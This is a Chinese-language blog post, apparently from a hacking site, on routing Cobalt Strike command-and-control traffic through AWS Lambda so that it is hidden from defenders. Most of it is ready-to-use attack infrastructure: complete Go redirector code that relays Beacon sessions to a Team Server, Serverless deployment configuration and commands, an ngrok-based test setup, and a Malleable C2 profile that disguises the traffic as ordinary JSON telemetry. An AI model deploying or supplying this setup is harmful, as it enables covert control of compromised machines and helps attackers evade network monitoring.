统计
  • 建站日期:2021-03-15
  • 文章总数:62 篇
  • 评论总数:43 条
  • 分类总数:14 个
  • 最后更新:6天前

使用 AWS Lambda 隐藏 C&C 流量

本文阅读 5 分钟
广告

此前有文章讲述了如何利用 Cloudflare Workers 来隐藏 C&C 流量,本文将通过 AWS Lambda 来实现类似的功能。

与 Cloudflare Workers 类似,AWS Lambda 允许将事件驱动的自有代码部署到 AWS 上。代码功能由指定的动作触发,例如将文件上传到 S3、接收 SMS 消息、接收 HTTP 请求等。负责执行代码逻辑的基础设施都被抽象化了,不需要像原来一样从底层配置 EC2 实例即可正常工作。Lambda 还支持多种语言的开发,从 Python 和 NodeJS 到最近大火的 Go 语言,AWS Lambda 都支持,本文采用 Go 进行解释。为了进一步提高便利性,使用 Serverless 框架提高效率。

Serverless - AWS Lambda

AWS Lambda 普及程度越来越高,这项技术的实用性已经被广泛证实。使用该服务一段时间后就可以发现,其好处之一就是启动一个新的 HTTP 响应端的速度是非常快的。与此同时,还有一个好处,那就是不必关心基础设施架构或修改 HTTP 服务器配置。
接下来,使用 Serverless 框架利用 Go 创建一个简单的 HTTP 示例 API:

brew install serverless
serverless create -t aws-go
make
sls deploy

执行后,可以看到以下内容:

通过提供的 URL 地址发起 HTTP 请求,以确保新创建的 Lambda 函数能够按预期进行响应:

通过 Serverless 可以快速地创建新的 Lambda 函数,接着就可以继续构建可以进行 C&C 通信的服务了。

Serverless 代理

在通过 AWS Lambda 代理转发 C&C 流量之前,必须注意到上面的示例中路径是带有 /dev/ 的,这在 Lambda 中标明开发的阶段,例如 dev、production、pre-prod 等。在 Cobalt Strike 配置路径时需要额外考虑到这一点,否则会导致上线失败。

从整体上看我们的基础设施架构如下所示,我们利用了 AWS Lambda 和 AWS API Gateway 两个组件:

配置文件 serverless.yml 如下所示:

service: lambda-front

frameworkVersion: ">=1.28.0 <2.0.0"

provider:
  name: aws
  runtime: go1.x
  stage: api
  region: eu-west-2
  environment:
    TEAMSERVER: ${opt:teamserver}

package:
 exclude:
   - ./**
 include:
   - ./bin/**

functions:
  redirector:
    handler: bin/redirector
    events:
      - http:
          path: /{all+}
          method: any

首先需要注意的是 HTTP 路径 /{all+},这可以使我们的 Go Lambda 函数响应任何 URL 请求。还要注意 ${opt:teamserver} 是 TEAMSERVER 变量的值,这可以在命令行执行时动态指定,变得更加灵活。

Serverless 代码

首先修改 hello-world 的模板以将 Beacon 发送的 HTTP 请求转发到 Team Server。
代理 Beacon 发送的请求包括以下步骤:

  1. 接收从 Beacon 发送的 HTTP 请求
  2. 根据接收的 HTTP 请求生成一个新 HTTP 请求
  3. 将 HTTP 请求发送到 Team Server 并接收响应
  4. 将收到的响应添加到 API 网关响应中
  5. 转发响应到 Beacon

创建后,我们的代码将如下所示:

package main

import (
  "crypto/tls"
  "encoding/base64"
  "io/ioutil"
  "log"
  "net/http"
  "net/url"
  "os"
  "strings"

  "github.com/aws/aws-lambda-go/events"
  "github.com/aws/aws-lambda-go/lambda"
)

type Response events.APIGatewayProxyResponse

func Handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {

  var url *url.URL
  var bodyDecoded []byte
  var body []byte
  var err error
  var outboundHeaders map[string]string

  teamserver := os.Getenv("TEAMSERVER")
  client := http.Client{}

  // 后端服务器设置允许失效 HTTPS 证书
  http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}

  // 构建发送给 CS 的请求 URL
  url, err = url.Parse(teamserver + "/" + request.RequestContext.Stage + request.Path)

  // 提取解析请求参数
  if request.QueryStringParameters != nil {
    q := url.Query()
    for key, value := range request.QueryStringParameters {
      q.Set(key, value)
    }
    url.RawQuery = q.Encode()
  }

  // 处理请求体的 base64 编码
  if request.IsBase64Encoded {
    bodyDecoded, err = base64.StdEncoding.DecodeString(request.Body)
    if err != nil {
      log.Fatalf("Error base64 decoding AWS request body: %v", err)
    }
  } else {
    bodyDecoded = []byte(request.Body)
  }

  // 向 Team Server 发送请求
  req, err := http.NewRequest(request.HTTPMethod, url.String(), strings.NewReader(string(bodyDecoded)))
  if err != nil {
    log.Fatalf("Error forwarding request to TeamServer: %v", err)
  }

  // 为请求添加入站头
  for key, value := range request.Headers {
    req.Header.Set(key, value)
  }

  // 将请求转发给 Team Server
  resp, err := client.Do(req)
  if err != nil {
    log.Fatalf("Error forwarding request to TeamServer: %v", err)
  }

  // 解析 Team Server 的响应头
  outboundHeaders = map[string]string{}

  for key, value := range resp.Header {
    outboundHeaders[key] = value[0]
  }

  // 读取 Team Server 的响应体
  body, err = ioutil.ReadAll(resp.Body)
  if err != nil {
    log.Fatalf("Error receiving request from TeamServer")
  }

  // 将响应转发给 Beacon
  return events.APIGatewayProxyResponse{StatusCode: resp.StatusCode, Body: string(body), Headers: outboundHeaders}, nil
}

func main() {
  lambda.Start(Handler)
}

当代码编译完成后,就可以执行 sls deploy 命令将代码推送到 AWS 上运行。

Malleable 配置

完成 AWS 的配置后,就要修改 Cobalt Strike 的配置了。现在也可以使用 External-C2 等配置,但为了示例仍然对 HTTP 配置文件做微小的修改来适配,例如 stage 的路径。具体来说,需要修改 http-get 和 http-post 部分的 uri 参数以 /[stage]/ 开头。

例如,可以使用如下设置配置 GET 请求:

http-get {
        set uri "/api/abc";
        client {
                metadata {
                        base64url;
                        netbios;
                        base64url;
                        parameter "auth";
        }
 }
 ...

与 malleable 配置文件配合使用的 Lambda 代码如下所示:

http-config {
    set trust_x_forwarded_for "true";
}

http-get {
    set uri "/api/fetch";
    client {
        metadata {
            base64url;
            netbios;
            base64url;
            parameter "token";
        }
    }

    server {
        header "Content-Type" "application/json; charset=utf-8";
        header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
        header "Pragma" "no-cache";

        output {
            base64;
            prepend "{\"version\":\"2\",\"count\":\"1\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}


http-post {
    set uri "/api/telemetry";
    set verb "POST";

    client {
        parameter "action" "GetExtensibilityContext";
        header "Content-Type" "application/json; charset=utf-8";
        header "Pragma" "no-cache";

        id {
            parameter "token";
        }

        output {
            mask;
            base64;
            prepend "{\"version\":\"2\",\"report\":\"";
            append "\"}";
            print;
        }
    }

    server {
        header "api-supported-versions" "2";
        header "Content-Type" "application/json; charset=utf-8";
        header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
        header "Pragma" "no-cache";
        header "x-beserver" "XPN0LR10CA0006";

        output {
            base64url;
            prepend "{\"version\":\"2\",\"count\":\"1\",\"data\":\"";
            append "\"}";
            print;
        }
    }

运行测试

将一切都准备好之后,就可以开始运行了。本地测试通常会使用 ngrok 作为本地 Web 服务器,非常适合为 Lambda 函数作为内部 Team Server。
在 MacOS 上启动 ngrok:

ngrok http 443

请注意,ngrok 对非付费用户有限制,需要对任意会话都设置 sleep 10 以免被阻塞。使用如下方式来配置 ngrok 主机:

sls deploy --teamserver d27658bf.ngrok.io

接下来配置 Listener 指向 Lambda URL:

还可添加一些其他的 Lambda URL 进行测试:

之后,当 Listener 启动指定 Beacon 时将通过 Lambda 发起一个会话:

本文来自投稿,不代表本站立场,如若转载,请注明出处:https://www.cnhacker.cc/web_security/90.html
-- 展开阅读全文 --
为什么流媒体直播的延迟很高?
« 上一篇 03-23
安卓本地提权漏洞CVE-2019-2215复现过程记录
下一篇 » 03-23
广告

发表评论

成为第一个评论的人

作者信息

广告

动态快讯

热门文章

广告

标签TAG

热评文章